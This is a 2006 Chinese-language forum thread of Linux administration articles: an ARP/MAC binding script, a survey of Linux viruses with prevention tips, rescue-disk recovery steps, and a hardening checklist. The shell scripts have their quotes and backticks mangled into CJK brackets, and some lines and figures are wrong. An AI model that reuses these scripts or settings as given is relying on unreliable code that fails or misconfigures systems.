  經過一番思索,確定了初步的構思。首先,用Linux Shell的循環方法產生一張包含從10.0.0.1到10.0.3.254的無效MAC位址匹配表,稱之為全局表。然後根據DHCP伺服器的資料得到一張合法用戶的IP和MAC位址表,稱之為合法表。接著,讀取合法表中每個用戶的IP,並在全局表中尋找匹配的IP,如果找到的話就用合法用戶的MAC位址取代原來無效的MAC位址。最後,這張全局表中的合法用戶匹配正確MAC位址,而非法用戶匹配無效的MAC位址。只要用戶把這張表寫入系統ARP快取,非法用戶就不能通過簡單的盜取IP方法來通過網路閘道了。

  實現

  首先產生一張初始的全局表。它包含所有IP位址,每個IP位址與一個非法的MAC位址匹配。它的格式必須是arp指令能夠識別的。啟始化全局表的指令碼為init,內容如下:

#!/bin/bash
ipprefix=10.0.
count1=0
while (( $count1 < 4 ))
do
count2=1
while (( $count2 < 255 ))
do
echo「$ipprefix$count1.$count2 00e000000001」
let $count2+=1
done
let $count1+=1
done

  寫好後存檔,用「chmod +x init」指令使得指令碼可執行。然後執行指令碼init > arp,就可以將結果儲存到當前目錄的arp文件中。該檔案就是10.0.0.1到10.0.3.254所有IP位址與MAC位址 00e000000001綁定的ARP表,看上去該檔案類似於下面這樣:

10.0.0.1 00e000000001
10.0.0.2 00e000000001
10.0.0.3 00e000000001
10.0.0.4 00e000000001
10.0.0.5 00e000000001
... ...

  需要注意的是,Shell指令碼語法雖然和C語言類似,但對格式要求很嚴格,有些地方不能加空格,有些地方則必須加空格。比如let $count1+=1就不能寫成let $count1 += 1;相反,while (( $count1 < 4 )) 也不能寫成while (($count1<4)),括號與語句之間必需有空格。

  接下來通過DHCP伺服器得到合法用戶的IP與MAC位址匹配表(即合法用戶表),假設是valid.arp文件。編寫一個指令碼一行一行地讀取該表,每得到一個IP位址記錄,就在前面產生的arp文件中尋找同樣的IP。如果找到的話,那麼就用valid.arp中該IP的MAC位址取代arp文件中該 IP的MAC位址。valid.arp文件可能像下面這樣:

10.0.0.2 00e00a0f1d2c
...
10.0.1.25 00e0b2c3d5c1
...

  尋找取代指令碼為replace,內容如下:

#!/bin/bash
# 定義並啟始化三個變數,分別是合法用戶表、全局表和作交換用的表
validArp=valid.arp
globalArp=arp
tmpArp=tmp.arp

count=1
# 371是合法用戶的總數,也就是valid.arp表的記錄數,然後加1
while (( count < 371 ))
do
#「 sed -n『「$count」p』$validArp」指令將每次列印valid.arp文件中的第$count個記錄
# 例如,當$count=1的時候,該指令將列印: 10.0.0.2 00e00a0f1d2c2
# eval $getValid將會執行$getValid變數所包含的語句,並將結果賦給變數$curRec
getValid=「sed -n『「$count」p』$validArp」
curRec=『eval $getValid』
# echo $curRec | awk『{print $1}』指令將列印$curRec內容的第一個字段,也就是IP位址
# 然後我們將這個IP位址賦值給$curIP變數
getIP=「echo $curRec|awk『{print \$1}』」
curIP=『eval $getIP』
# 這樣我們就得到了合法用戶的IP及IP和MAC位址對,接下來是最關鍵的一步
# 下面兩條語句在全局表中尋找與得到的IP匹配的項目,找到後就在該記錄後面增加合法用戶的IP
和MAC位址對,然後移除舊的非法IP和MAC位址對,並將結果存入一個新的文件tmp.arp
replace=「sed -e『/$curIP\>/a\ $curRec』 -e『/$curIP\>/d』$globalArp >$tmpArp」
eval $replace然後用新的文件覆蓋全局表文件,並將計數器加1,供下次循環
cp -f $tmpArp $globalArp
let count+=1
done

  到此指令碼結束。需要注意的地方有兩個:第一,所有包含「eval」指令的語句,使用的都是反引號,也就是通常位於Tab鍵上面的那個引號,這樣變數才能得到語句執行的結果,而非語句本身;第二,如果出現變數和其它字母在一起的情況,用雙引號將變數包含,否則會出現錯誤的變數名,例如下面這條語句:

getValid=「sed -n『「$count」p』$validArp」

  如果不用雙引號把變數$count包起來,Shell會認為用戶的變數是$countp,而不是$count。

  在執行完replace後,再檢視arp文件,會發現其中所有在valid.arp文件中存在的IP和MAC位址對,其中的啟始化MAC位址已被取代為正確的MAC位址。

  最後,將得到的arp檔案拷貝為/etc/ethers,在系統啟動時執行「arp -f」,就可以實現IP和MAC位址匹配了。

  總結

  通過這件事不難發現,Linux繼承了Unix的優秀傳統,具備強大和完善的系統管理方法。只要用戶掌握一些常用的指令與工具,就可以極大地提高系統管理效率,降低管理的工作強度。學習和掌握這些方法,是每個合格的Linux系統管理員都應該做到的。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-03-13, 05:59 AM   #5 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

沒有病毒的樂土 Linux下病毒防範技巧

 對使用Windows的人來說,病毒無處不在,各種各樣的新型病毒層出不窮,近年來,一種類似Unix的操作系統也在發展壯大,開始走進我們的視野,並在各領域內得到套用,它就是Linux系統,對於受病毒困擾的用戶來說,Linux會是一塊沒有病毒的樂土嗎?

  一、當心Linux病毒

  在Linux出現之初,由於其最初的優秀設計,似乎具有先天病毒免疫能力,所以當時有許多人相信不會有針對Linux的病毒出現,但是Linux終於也不能例外。1996年秋,澳大利亞一個叫VLAD的組織用彙編語言編寫了據稱是Linux系統下的第一個病毒的Staog,它專門感染二進制文件,並通過三種方式去嘗試得到root權限。當然,設計Staog病毒只是為了演示和證明Linux有被病毒感染的潛在危險,它並沒有對感染的系統進行任何損壞行動。

  2001年,一個名為Ramen的Linux蠕蟲病毒出現了。Ramen病毒可以自動傳播,無需人工干預,雖然它沒有對伺服器進行任何破壞,但是它在傳播時的掃瞄行為會消耗大量的網路帶寬。Ramen病毒是利用了Linux某些版本(Redhat6.2和7.0)的 rpc.statd和wu-ftp這兩個安全漏洞進行傳播的。

  同年的另一個針對Linux的蠕蟲病毒Lion則造成了實際的危害,當時 Lion通過網際網路迅速蔓延,並給部分用戶的電腦系統造成了嚴重破壞。Lion病毒能通過電子郵件把一些密碼和組態文件傳送到網際網路上的某個郵信箱中,攻擊者在收集到這些文件後就可能通過第一次突破時的缺口再次進入整個系統,進行更進一步的破壞活動,比如獲機密訊息、安裝後門等。當用戶的Linux系統感染了這個病毒,很有可能因為不能判斷入侵者如何改動了系統而選項重新格式化硬碟。而且,一台Linux主機在感染了Lion病毒後就會自動開始在網際網路上搜尋別的受害者。事後的反饋表明Lion病毒給許多Linux用戶造成了的嚴重的損失。

  其它Linux平台下病毒還有OSF.8759、 Slapper、Scalper、Unux.Svat和BoxPoison等,當然,大多數普通的Linux用戶幾乎沒有遇到過它們。這是因為直到目前, Linux上的病毒還非常少,影響的範圍也很小。但隨著Linux用戶的增加,越來越多的Linux系統連線到區域網路和廣域網上,自然增加了受攻擊的可能,可以預見到會有越來越多的Linux病毒出現,因此如何防範Linux病毒就成為每個Linux用戶現在就應該開始注意的事情了。

  二、抓住弱點,個個擊破

  Linux的用戶也許聽說甚至遇到過一些Linux病毒,這些Linux病毒的原理和發作症狀各不相同,所以採取的防範方法也各不相同。為了更好地防範Linux病毒,我們先對已知的一些Linux病毒進行分類。

  從目前出現的Linux病毒來看,可以歸納到以下幾個病毒檔案類型中去:

  1、感染ELF格式文件的病毒

  這類病毒以ELF格式的文件為主要感染目標,通過彙編或者C可以寫出能感染ELF文件的病毒。Lindose病毒就是一能感染ELF文件的病毒,當它發現一個ELF文件時,將檢查被感染的機器檔案類型是否為Intel80386。如果是,則尋找該檔案中是否有一部分的大小大於2784字元(或十六進制 AEO),如果有,病毒就會用自身程式碼覆蓋它並增加宿主文件的相應部分的程式碼,同時將宿主文件的入口點指向病毒程式碼部分。

  防範:由於 Linux下有良好的權限控制機制,所以這類病毒要有足夠的權限才能進行傳播。在防範此類病毒時,我們要注意管理好自己Linux系統中的各種文件的權限,特別要注意的是在做日常操作時不要使用root帳號,最好不要以root身份執行來歷不明的可執行文件,以免無意中觸發了含病毒的文件從而傳染到整個系統中。

  2、指令碼病毒

  指令碼病毒是指使用shell等指令碼語言編寫的病毒。此類病毒編寫較為簡單,不需要具有很高深的知識,很容易就實現對系統進行破壞,比如移除文件、破壞系統正常執行、甚至下載安裝木馬等。但它傳播性不強,通常是在本地機上造成破壞。

  防範:防範此類病毒也是要注意不要隨便執行來源不明的指令碼,同時,要嚴格控制對root權限的使用。

  3、蠕蟲病毒

  Linux下的蠕蟲病毒與Windows下的蠕蟲病毒類似,可以獨立執行,並將自身傳播到另外的電腦上去。

  在Linux平台下的蠕蟲病毒通常利用一些Linux系統和服務的漏洞來進行傳播,比如,Ramen病毒就是利用了Linux某些版本(Redhat6.2和7.0)的rpc.statd和wu-ftp這兩個安全漏洞進行傳播的。

  防範:防範此類病毒要堵住蠕蟲病毒發作的源頭,從已經出現的幾個Linux病毒突發事件來看,它們都是利用了Linux已經公佈了的幾個安全漏洞,如果用戶及時採取了對應的安全措施就不會受到它們的影響。不過遺憾的是,許多Linux的管理員並沒有緊密跟蹤與自己系統和服務相關的最新訊息,所以還是給病毒有可乘之機。

  用戶要做好本地機的安全工作,特別要關心Linux的安全漏洞訊息,一旦有新的Linux安全漏洞出現,就要及時採取安全措施。此外,還可以配合防火牆規則來限制蠕蟲病毒的傳播。

4、後門程序



  後門程序也可以被看成廣義的病毒,在Linux平台上也非常活躍。Linux後門利用系統服務載入、共享庫文件注射、rootkit工具包、甚至可安裝載入內核模組(LKM)等技術來實現,許多Linux平台下的後門技術與入侵技術相結合,非常隱蔽,難以清除。

  防範:防範此類病毒可以借助一些軟體來進行,有一些軟體可以說明 用戶找出系統中的各種後門程序,比如chkrootkitR、rootkits可以發現蠕蟲、後門等。

  5、其它病毒

  在Linux平台除了面對針對Linux的病毒之外,還要注意到許多Windows病毒會存在於Linux的文件系統中,當然,這類windows病毒是不會在Linux中發作的,但它們有機會傳送到Windows系統中。

  比如,Linux的Samba伺服器可以作為整個網路中的文件伺服器,當有用戶將含有Windows病毒的文件上傳到Samba伺服器後,Samba伺服器就成為一個病毒攜帶者,雖然它不會感染這種Windows病毒,但是其它訪問過Samba服務的人就有可能從中感染到病毒。

  防範:為了整體的安全,在Linux系統中也需要能尋找和殺除Windows病毒。這就需要使用一些專門的反病毒軟體。現在,已經有一些開放源碼軟體和商業軟體可供用戶選項了,而且其數量正在逐漸增加。

  三、多方入手,剿殺Linux病毒

  與Windows的病毒相比,從數量上看,Linux的病毒幾乎可以忽略不計,但是Linux病毒的製造者們並不會停止,他們多是一些精通編寫程式碼的黑客,Linux自身不可避免地存在的脆弱點很有可能會被他們利用從而編寫出各式各樣的新Linux病毒來。雖然,Linux病毒還沒有開始氾濫,但如果用戶毫無防範概念的話,一旦某個Linux病毒暴發,就很可能造成嚴重的後果。所以Linux用戶應該及早重視起Linux病毒這個問題。

  最後,筆者對Linux平台下病毒的防範總結出以下幾條建議,僅供參考:

  (1)做好系統加固工作。

  (2)留心安全公告,及時修正漏洞。

  (3)日常操作不要使用root權限進行。

  (4)不要隨便安裝來歷不明的各種設備驅動程式。

  (5)不要在重要的伺服器上執行一些來歷不明的可執行程序或指令碼。

  (6)盡量安裝防毒軟體,並定期昇級病毒程式碼庫。

  (7)對於連線到Internet的Linux伺服器,要定期檢測Linux病毒。蠕蟲和木馬是否存在。

  (8)對於提供文件服務的Linux伺服器,最好佈署一款可以同時查殺Windows和Linux病毒的軟體。

  (9)對於提供郵件服務的Linux伺服器,最好配合使用一個E-mail病毒掃瞄器。

  總而言之,對於Linux平台下病毒的防範要採取多種手段,決不可因為現在Linux病毒很少就掉以輕心
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-06-27, 08:45 AM   #6 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

Linux 故障恢復技巧

Linux 故障恢復技巧



不論你在執行什麼操作系統,在很多情況下,你會面對災難恢復操作。你的主啟始區被覆蓋,你的硬碟不能啟動,或者一個重要的文件被刪除,或者你的顯示卡啟動時閃爍一下就黑屏了。本文會就這些問題作一些技巧性的討論,幫助你在遇到這些問題時,不致於手足無措。
首先需要的是一張應急啟動軟碟,在安裝 Linux 時,一般會要求建立一張的,所以,你應該有這張磁碟的,如果還沒有建立的話,趕緊去建立一張吧,什麼?不知道怎麼做?很簡單的,一般的 Linux 系統下使用 mkbootdisk 命令就可以了。後面的那些參數,只要看看幫助,應該就明白了。

首先使用

# uname -a

系統提示:
Linux albertxu 2.2.16-2.0 #1 Sun May 20 16:53:41 EST 2001 i586 unknown

來看看系統的內核版本。我們就知道系統的內核版本是 2.2.16-2.0。

然後使用
# mkbootdisk --device /dev/fd0 2.2.16-2.0

系統提示:

Insert a disk in /dev/fd0. Any information on the disk will be lost.
Press to continue or ^C to abort:

插入磁碟,等待一會,直到磁碟建立。這樣,緊急啟動軟碟就這樣建立了。

除了採用以上的辦法以外,另外一個辦法就是使用 tomsrtbt來建立啟動軟碟。先介紹 這個程式的安裝步驟:

# gunzip tomsrtbt-1.7.218.tar.gz
# tar -xvf tomsrtbt-1.7.218.tar
# rm tomsrtbt-1.7.218.tar
# cd tomsrtbt-1.7.218/
# ./install.s

按照螢幕的說明,這個軟件採用高密度的壓縮方法把多種 Linux 工具壓縮到單張 1.7 Mb 的軟碟上。

預設的磁碟包含下面的程式,驅動和內核:

2.0.37 3c589_cs BusLogic DEC_ELCP EEXPRESS EEXPRESS_PRO EL2 EL3 EXT2 FAT FAT32 FD IDE IDECD IDEFLOPPY IDEPCMCIA IDETAPE ISO9660 JOLIET LOOP MATH_EMULATION MINIX MSDOS NE2000 NFS PROC RAM SD SERIAL SLIP SMC SR ST TR ULTRA VFAT VORTEX WD80x3 ah152x_cs aha152x aha1542 aic7xxx ash awk badblocks bdflush bzip2 cardbus cardmgr cat ce ce.help chattr chgrp chmod chown chroot clear cmp cp cpio cut date dd ddate debugfs df dirname dmesg ds du dumpe2fs e2fsck eata echo egrep elvis emacs extend false fdflush fdformat fdisk fdomain filesize find findsuper fmt fsck.ext2 fsck.msdos fstab grep gzip halt head hexedit hostname i82365 ifconfig ifport ile init inittab insmod kill killall5 ksyms length less libc.so.5.4.13 lilo lilo.conf ln loadkeys login losetup ls lsattr mawk md5sum memtest mingetty miterm mkdir mkdosfs mke2fs mkfifo mkfs.minix mklost+found mknod mkswap mnsed more mount mt mv nc ncr53c8xx nmclan_cs ntfs pax pcmcia pcmcia_core pcnet_cs ping plip ppa printf ps pwd qlogic_cs qlogicfas reboot rescuept reset rm rmdir rmmod route rsh rshd script scsi_info seagate sed serial_cs setserial sh slattach sleep slip snarf sort split stty swapoff swapon sync tail tar tcic tee telnet test touch tune2fs umount undeb update vi vi.help wc

最讓人放心的是,tomsrtbt 是一個和發行版本無關的程式,甚至你可以把它用來恢復 Windows 9x 。

丟失了主啟始記錄後, Linux 就不能啟動了。使用 Red Hat 的啟動軟碟十分簡單,只要在啟動以後,用 root 登入,然後執行 lilo 就可以了。

使用 tomsrtbt 的方法是,啟動後用 root 登入,然後拿走軟碟。

# mount -t ext2 /dev/hda4 /mnt
# chroot /mnt
# /sbin/lilo
Added linux *
Added dos
# exit
# cd /
# umount mnt

在 Red Hat 6.2 之前的版本提供了一個 rescue.img 文件,能用來建立一個單獨的緊急磁碟,和啟動軟碟一起使用。在 LILO: 提示字元下,鍵入 linux rescue 然後按照提示操作,在 6.2 版本以後,Red Hat 把緊急恢復功能做到了安裝 CD 上,使用 CD 啟動後,鍵入 "rescue" 就可以了。

現在假設你的 /etc/fstab 存在一個輸入錯誤,你把啟動磁碟 /dev/hda4 寫成了 /dev/hda44 ,這樣你的系統就不能啟動了。

用 tomsrtbt 軟碟啟動,按照以下的辦法修改 /etc/fstab 就可以了。

# mount -t ext2 /dev/hda4 /mnt
# vi /mnt/etc/fstab
# umount /mnt

另外一個常見的問題就是沒有正常關機,可以採用 tomsrtbt 來修復一個損壞的磁碟分區。

# e2fsk -f /dev/hda2

對於一個嚴重損壞的分區,這個命令需要重複好幾次。

如果一個分區不能完整修復,你可以把重要的文件寫到磁碟上,當 tomsrtbt 啟動時,把這些文件載入到記憶體,能把磁碟空間用於其他應用。

# fdformat /dev/fd0H1440
# mke2fs /dev/fd0
# mkdir /mnt/image
# mkdir /mnt/floppy
# mount -t ext2 /dev/hda4 /mnt/image
# mount -t ext2 /dev/fd0 /mnt/floppy
# cd /mnt/floppy
# cp /mnt/image/etc/*.conf .
# cp /mnt/image/etc/conf.modules .
# cp /mnt/image/var/named/* .
# cp /mnt/image/home/gwilburn/docs/myrecipes.txt .
# cd /mnt
# umount floppy
# umount image

以上步驟用到了 fdformat, mke2fs, mount, cd 和 cp 命令,這些命令都包含在 tomsrtbt 之中,在這個情形中,我們把 /etc 目錄的配置文件和 DNS 文件作了備份。

下面的例子是使用 tomsrtbt 來恢復 Windows 的例子。

# mkdir /mnt/win
# mkdir /mnt/floppy
# mount -t vfat /dev/hda1 /mnt/win
# mount -t vfat /dev/fd0 /mnt/floppy
# vi /mnt/win/autoexec.bat
# cd /mnt/floppy
# cp /mnt/win/autoexec.bat .
# cp /mnt/win/config.sys .
# cp "/mnt/win/program files/netscape/bookmarks.htm" .
# cd /mnt
# umount floppy
# umount win

災難並不會頻繁發生,但是做好災難準備的最重要事情就是備份資料。我們討論的所有技巧只是對資料可以恢復的情況下所能採取的一些措施。作為一名專業的系統管理人員,如果沒有做好資料備份,那麼這個所謂的「專業」是名不副實的。
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-07-02, 04:07 PM   #7 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

配置安全的Linux操作系統

linux也許要安全配置的,

一、磁碟分區

1、如果是新安裝系統,對磁碟分區應考慮安全性:

1)根目錄(/)、用戶目錄(/home)、臨時目錄(/tmp)和/var目錄應分開到不同的磁碟分區;

2)以上各目錄所在分區的磁碟空間大小應充分考慮,避免因某些原因造成分區空間用完而導致系統崩潰;

2、對於/tmp和/var目錄所在分區,大多數情況下不需要有suid內容的程式,所以應為這些分區新增nosuid內容;

方法一:修改/etc/fstab文件,新增nosuid內容字。例如:

/dev/hda2 /tmp ext2 exec,dev,nosuid,rw 0 0

方法二:如果對/etc/fstab文件操作不熟,建議通過linuxconf程式來修改。

* 執行linuxconf程式;

* 選擇"File systems"下的"Access local drive";

* 選擇需要修改內容的磁碟分區;
* 選擇"No setuid programs allowed"選項;
* 根據需要選擇其它可選項;
* 正常退出。(一般會提示重新mount該分區)

二、安裝

1、對於非測試主機,不應安裝過多的軟件包。這樣可以降低因軟件包而導致出現安全漏洞

的可能性。

2、對於非測試主機,在選擇主機啟動服務時不應選擇非必需的服務。

三、安全配置與增強

  內核升級。起碼要升級至2.2.16以上版本。

  GNU libc共享庫升級。(警告:如果沒有經驗,還是建議不要去試的)
  關閉危險的網路服務。echo、chargen、shell、login、finger、NFS、RPC等
  關閉非必需的網路服務。talk、ntalk、pop-2等
  常見網路服務安全配置與升級
  確保網路服務所使用版本為當前最新和最安全的版本。
  取消匿名FTP訪問
  使用tcpwrapper
  使用iptables防火牆
  日誌系統syslogd

一些細節:

1.操作系統內部的log file是檢測是否有網路入侵的重要線索,當然這個假定你的logfile不被侵入者

所破壞,如果你有台服務器用專線直接連到Internet上,這意味著你的IP地址是永久固定的地址,

你會發現有很多人對你的系統做telnet/ftp登入嘗試,試著執行#more /var/log/secure | grep refused 去檢查。

2. 限制具有SUID權限標誌的程式數量,具有該權限標誌的程式以root身份執行,是一個潛在的

安全漏洞,當然,有些程式是必須要具有該標誌的,像passwd程式。

3.BIOS安全。設置BIOS密碼且修改啟始次序禁止從軟碟啟動系統。

4. 用戶口令。用戶口令是Linux安全的一個最基本的起點,很多人使用的用戶口令就是簡單的『password',這等於給侵入者敞開了大門,雖然從理論上說沒有不能確解的用戶口令,

只要有足夠的時間和資源可以利用。比較好的用戶口令是那些只有他自己能夠容易記得並理解的

一串字元,並且絕對不要在任何地方寫出來。

5./etc/exports 文件。如果你使用NFS網路文件系統服務,那麼確保你的/etc/exports具有最

嚴格的存取權限設置,不意味著不要使用任何通配符,不允許root寫權限,mount成只讀文件系

統。編輯文件/etc/exports並且加:例如:

/dir/to/export host1.mydomain.com(ro,root_squash)
/dir/to/export host2.mydomain.com(ro,root_squash)

/dir/to/export 是你想輸出的目錄,host.mydomain.com是登入這個目錄的機器名,ro意味著mount成只讀系統,root_squash禁止root寫入該目錄。

為了讓上面的改變生效,執行/usr/sbin/exportfs -a

6.確信/etc/inetd.conf的所有者是root,且文件權限設置為600 。

[root@deep]# chmod 600 /etc/inetd.conf
ENSURE that the owner is root.
[root@deep]# stat /etc/inetd.conf
File: "/etc/inetd.conf"
Size: 2869 Filetype: Regular File
Mode: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 8,6 Inode: 18219 Links: 1
Access: Wed Sep 22 16:24:16 1999(00000.00:10:44)
Modify: Mon Sep 20 10:22:44 1999(00002.06:12:16)
Change:Mon Sep 20 10:22:44 1999(00002.06:12:16)

編輯/etc/inetd.conf禁止以下服務:

ftp, telnet, shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger, auth, etc. 除非你真的想用它。

特別是禁止那些r命令.如果你用ssh/scp,那麼你也可以禁止掉telnet/ftp。 (推薦大家用SSH)

為了使改變生效,執行#killall -HUP inetd

你也可以執行#chattr +i /etc/inetd.conf使該文件具有不可更改內容。

只有root才能解開,用命令

#chattr -i /etc/inetd.conf

7. TCP_WRAPPERS

預定地,Redha Linux允許所有的請求,用TCP_WRAPPERS增強你的站點的安全性是舉

手之勞,你可以放入「ALL: ALL」到/etc/hosts.deny中禁止所有的請求,然後放那些明

確允許的請求到/etc/hosts.allow中,如:

sshd: 192.168.1.10/255.255.255.0 gate.openarch.com
對IP地址192.168.1.10和主機名gate.openarch.com,允許通過ssh連接。
配置完了之後,用tcpdchk檢查

[root@deep]# tcpdchk
tcpchk是TCP_Wrapper配置檢查工具,
它檢查你的tcp wrapper配置並報告所有發現的潛在/存在的問題。

8. 別名文件aliases
編輯別名文件/etc/aliases(也可能是/etc/mail/aliases),移走/註釋掉下面的行。

# Basic system aliases -- these MUST be present.
MAILER-DAEMON: postmaster
postmaster: root
# General redirections for pseudo accounts.
bin: root
daemon: root
#games: root ?remove or comment out.
#ingres: root ?remove or comment out.
nobody: root
#system: root ?remove or comment out.
#toor: root ?remove or comment out.
#uucp: root ?remove or comment out.
# Well-known aliases.
#manager: root ?remove or comment out.
#dumper: root ?remove or comment out.
#operator: root ?remove or comment out.
# trap decode to catch security attacks
#decode: root
# Person who should get root's mail
#root: marc

最後更新後不要忘記執行/usr/bin/newaliases,使改變生效。

9.阻止你的系統響應任何從外部/內部來的ping請求。

既然沒有人能ping通你的機器並收到響應,你可以大大增強你的站點的安全性。

你可以加下面的一行命令到/etc/rc.d/rc.local,以使每次啟動後自動執行。

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

10. 不要顯示出操作系統和版本訊息。

如果你希望某個人遠端登入到你的服務器時不要顯示操作系統和版本訊息,你能改變/etc/inetd.conf中的一行象下面這樣:

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h

加-h標誌在最後使得telnet後台不要顯示系統訊息,而僅僅顯示login:

11.The /etc/host.conf file

編輯host.conf文件(vi /etc/host.conf)且加下面的行:

# Lookup names via DNS first then fall back to /etc/hosts. order bind,hosts
# We don't have machines with multiple IP addresses on the same card
(like virtual server,IP Aliasing).
multi off
# Check for IP address spoofing.
nospoof on
IP Spoofing: IP-Spoofing is a security exploit that works by tricking
computers in a trust relationship that you are someone that you really aren't.

12. The /etc/securetty file

該文件指定了允許root登入的tty設備,/etc/securetty被/bin/login程式讀取,它的格式是一行一個被允許的名字列表,如你可以編輯/etc/securetty且註釋出下面的行。

tty1
#tty2
#tty3
#tty4
#tty5
#tty6
#tty7
#tty8

意味著root僅僅被允許在tty1終端登入。

13. 特別的帳號


  禁止所有預定的被操作系統本身啟動的且不需要的帳號,當你第一次裝上系統時就應該做此檢查,Linux提供了各種帳號,你可能不需要,如果你不需要這個帳號,就移走它,你有的帳號越多,就越容易受到攻擊。

  為刪除你系統上的用戶,用下面的命令:

  [root@deep]# userdel username

  為刪除你系統上的組用戶帳號,用下面的命令:

  [root@deep]# groupdel username

  在終端上打入下面的命令刪掉下面的用戶。

  [root@deep]# userdel adm
  [root@deep]# userdel lp
  [root@deep]# userdel sync
  [root@deep]# userdel shutdown
  [root@deep]# userdel halt
  [root@deep]# userdel mail

  如果你不用sendmail服務器,procmail.mailx,就刪除這個帳號。
  [root@deep]# userdel news
  [root@deep]# userdel uucp
  [root@deep]# userdel operator
  [root@deep]# userdel games

  如果你不用X windows 服務器,就刪掉這個帳號。
  [root@deep]# userdel gopher
  [root@deep]# userdel ftp

  如果你不允許匿名FTP,就刪掉這個用戶帳號。
  ===

  打入下面的命令刪除組帳號

  [root@deep]# groupdel adm
  [root@deep]# groupdel lp
  [root@deep]# groupdel mail

  如不用Sendmail服務器,刪除這個組帳號
  [root@deep]# groupdel news
  [root@deep]# groupdel uucp
  [root@deep]# groupdel games

  如你不用X Windows,刪除這個組帳號
  [root@deep]# groupdel dip
  [root@deep]# groupdel pppusers
  [root@deep]# groupdel popusers

  如果你不用POP服務器,刪除這個組帳號
  [root@deep]# groupdel slipusers
  ====

  用下面的命令加需要的用戶帳號
  [root@deep]# useradd username

  用下面的命令改變用戶口令
  [root@deep]# passwd username

  用chattr命令給下面的文件加上不可更改內容。

  [root@deep]# chattr +i /etc/passwd
  [root@deep]# chattr +i /etc/shadow
  [root@deep]# chattr +i /etc/group
  [root@deep]# chattr +i /etc/gshadow
14. 阻止任何人su作為root.


  如果你不想任何人能夠su作為root,你能編輯/etc/pam.d/su加下面的行:

  auth sufficient /lib/security/pam_rootok.so debug
  auth required /lib/security/pam_wheel.so group=isd

  意味著僅僅isd組的用戶可以su作為root.

  然後,如果你希望用戶admin能su作為root.就執行下面的命令。

  [root@deep]# usermod -G10 admin

  16. 資源限制

  對你的系統上所有的用戶設置資源限制可以防止DoS類型攻擊(denial of service attacks)如最大工作行程數,記憶體數量等。例如,對所有用戶的限制象下面這樣:

  編輯/etc/security/limits.con加:

  * hard core 0
  * hard rss 5000
  * hard nproc 20

  你也必須編輯/etc/pam.d/login文件加/檢查這一行的存在。

  session required /lib/security/pam_limits.so

  上面的命令禁止core files「core 0」,限制工作行程數為「nproc 50「,且限制記憶體使用為5M「rss 5000」。

  17. The /etc/lilo.conf file

  a) Add: restricted
  加這一行到每一個啟始映像下面,就這表明如果你啟始時用(linux single),則需要一個password.

  b) Add: password=some_password
  當與restricted聯合用,且正常啟始時,需要用戶輸入密碼,你也要確保lilo.conf文件不能被不屬於root的用戶可讀,也免看到密碼明文。下面是例子:

  編輯/etc/lilo.conf加:
  ====
  boot=/dev/sda
  map=/boot/map
  install=/boot/boot.b
  prompt
  timeout=50
  Default=linux
  restricted ?add this line.
  password=some_password ?add this line.
  image=/boot/vmlinuz-2.2.12-20
  label=linux
  initrd=/boot/initrd-2.2.12-10.img
  root=/dev/sda6
  read-only
  [root@deep]# chmod 600 /etc/lilo.conf (不再能被其他用戶可讀).
  [root@deep]# /sbin/lilo -v (更新lilo配置).
  [root@deep]# chattr +i /etc/lilo.conf(阻止該文件被修改)

  18. 禁止 Control-Alt-Delete 重啟動機器命令

  [root@deep]# vi /etc/inittab
  ca::ctrlaltdel:/sbin/shutdown -t3 -r now
  To
  #ca::ctrlaltdel:/sbin/shutdown -t3 -r now
  [root@deep]# /sbin/init q

  19. 重新設置/etc/rc.d/init.d/目錄下所有文件的許可權限

  [root@deep]# chmod -R 700 /etc/rc.d/init.d/*
  僅僅root可以讀,寫,執行上述所有script file.

  20. The /etc/rc.d/rc.local file

  預定地,當你login到linux server時,它告訴你linux版本名,內核版本名和服務器主機名。它給了你太多的訊息,如果你就希望得到提示login: ,編輯/etc/rc.d/rc.local放#在下面的行前面:

  # This will overwrite /etc/issue at every boot. So, make any changes you
  # want to make to /etc/issue here or you will lose them when you reboot.
  #e cho "" > /etc/issue
  #e cho "$R" >> /etc/issue
  #e cho "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
  #
  #cp -f /etc/issue /etc/issue.net
  #e cho >> /etc/issue

  然後,做下面的事情:
  [root@deep]# rm -f /etc/issue
  [root@deep]# rm -f /etc/issue.net
  [root@deep]# touch /etc/issue
  [root@deep]# touch /etc/issue.net

21. 被root擁有的程式的位。


  移走那些被root擁有程式的s位標誌,當然有些程式需要這個,用命令『chmod a-s』完成這個。

  註:前面帶(*)號的那些程式一般不需要擁有s位標誌。

  [root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls –lg {} \;
  -rwsr-xr-x 1 root root 33120 Mar 21 1999 /usr/bin/at
